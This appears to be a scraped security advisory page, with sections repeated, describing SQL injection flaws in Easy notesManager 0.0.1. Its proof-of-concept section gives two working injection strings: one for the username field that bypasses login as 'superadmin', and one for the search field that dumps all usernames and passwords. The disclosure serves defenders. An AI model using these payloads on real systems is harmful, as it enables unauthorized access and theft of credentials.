Easy NotesManager Multiple SQL Injection Vulnerabilities
BID:20803
Info
Easy NotesManager Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 20803 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 30 2006 12:00AM |
| Updated: | Oct 31 2006 04:52PM |
| Credit: | poplix is credited with discovering these vulnerabilities. |
| Vulnerable: |
Evandor Easy notesManager 0.0.1 |
| Not Vulnerable: | |
Discussion
Easy NotesManager Multiple SQL Injection Vulnerabilities
Easy notesManager is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in SQL queries.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Easy notesManager is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in SQL queries.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Exploit / POC
Easy NotesManager Multiple SQL Injection Vulnerabilities
Attackers can exploit these issues via a web client.
Supplying the following to the 'username' field is sufficient to bypass authentication:
dontcare' and 0=1 union select id,login,'0cc175b9c0f1b6a831c399e269772661',grp,salutation,firstname,lastname,email from users where login='superadmin
Supplying the following to the 'search' field will return a list of all users and passwords:
dontcare')) union select 0,login,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0 from users --
Attackers can exploit these issues via a web client.
Supplying the following to the 'username' field is sufficient to bypass authentication:
dontcare' and 0=1 union select id,login,'0cc175b9c0f1b6a831c399e269772661',grp,salutation,firstname,lastname,email from users where login='superadmin
Supplying the following to the 'search' field will return a list of all users and passwords:
dontcare')) union select 0,login,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0 from users --
Solution / Fix
Easy NotesManager Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
References
Easy NotesManager Multiple SQL Injection Vulnerabilities
References:
References: